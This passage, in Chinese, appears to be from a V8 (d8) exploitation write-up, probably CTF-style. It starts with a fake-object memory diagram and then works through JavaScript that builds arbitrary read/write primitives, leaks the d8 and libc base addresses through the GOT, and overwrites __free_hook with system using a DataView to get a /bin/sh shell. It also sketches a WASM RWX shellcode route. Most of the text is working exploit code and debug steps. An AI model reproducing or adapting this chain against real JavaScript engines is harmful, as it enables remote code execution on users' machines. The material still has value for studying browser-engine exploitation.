| +---------------+ fakeObject +--------------+
| |fake_array[0] | +----------> | map |
| +---------------+ +--------------+ 想 要 修 改 的
| |fake_array[1] | | prototype | 内 存
| +---------------+ +--------------+ +-------------+
| |fake_array[2] | | elements | +------> | |
| +---------------+ +--------------+ | |
| | | | | | |
| | | | | | |
| fake_array+--> +---------------+ | | | |
| | map | | | | |
| +---------------+ | | | |
| | prototype | +--------------+ | |
| +---------------+ | |
+--------------------+ elements | | |
+---------------+ | |
| length | | |
+---------------+ | |
| properties | | |
+---------------+ +-------------+

构造任意读写的原语(需要注意fake_array中申请了6个元素,占据0x30个内存长度,因此再加上elements对象10字节的map和length,总长度为0x40,所以fake_object内存位置应为addressOf(fake_array)-0x40+0x10:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" + hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" + hex(addr) + ":0x" + hex(data));
}

然后在v8中进行调试:

1
2
3
4
5
6
7
8
9
10
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var a_addr = addressOf(a);
console.log("[*] addressOf a: 0x" + hex(a_addr));

read64(a_addr);
%SystemBreak();

write64(a_addr, 0x01020304n);
%SystemBreak();

0x05 任意地址读写:漏洞利用

两种利用思路:

  • 通过堆漏洞能够实现一个任意地址写的效果,结合程序功能和UAF漏洞泄漏libc地址,通过泄漏的libc地址计算出free_hook、malloc_hook、system和one_gadget的内存地址。利用任意写修改hook函数为system或one_gadget地址。
  • 利用webassembly构造一块RWX内存页,通过漏洞将shellcode覆写到原本属于webassembly机器码的内存页中,后续再调用webassembly函数接口时,实际就触发了部署好的shellcode

0x06 传统堆利用思路

泄漏libc地址方法:

1. 随机泄漏

感觉很抽象,先不搞这个

2. 稳定泄露

1
2
3
4
5
6
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor)+0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
%SystemBreak();

调试结果如下图,可见成功获取获取了目标d8加载基址:

之后即可计算d8基地址,读取got表中malloc等libc函数的内存地址,然后计算出free_hook或system或one_gadget的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var d8_base_addr = leak_d8_addr - 0xf91780n;
var d8_got_libc_start_main_addr = d8_base_addr + 0x126d7a0n;

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x21ba0n;
var libc_system_addr = libc_base_addr + 0x4f420n;
var libc_free_hook_addr = libc_base_addr + 0x3ed8e8n;

console.log("[*] find libc libc_free_hook addr: 0x" + hex(libc_free_hook_addr));
%SystemBreak();

write64(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
%SystemBreak();

write64函数存在问题,利用了DataView对象:

1
2
3
4
5
6
7
8
var buffer = new ArrayBuffer(16);

var view = new DataView(buffer);
view.setUint32(0, 0x44434241, true);

console.log(view.getUint8(0, true));
%DebugPrint(view);
%SystemBreak();

对write64作以下修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
%SystemBreak();
console.log("[*] write to : 0x" + hex(addr) + ": 0x" + hex(data));
}

write64_dataview(libc_free_hook_addr, libc_system_addr);
%SystemBreak();

最后申请一个局部buffer变量,然后释放,从而触发free操作:

1
2
3
4
5
6
7
8
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x068732f6e69622f)); // str --> /bin/sh\x00
}

get_shell();

获取shell需要在d8非调试状态直接运行才能看到效果。在gdb中其实也可以看到起了bash

去掉后发现可以拿到shell

TODO:wasm 注入shellcode

参考链接: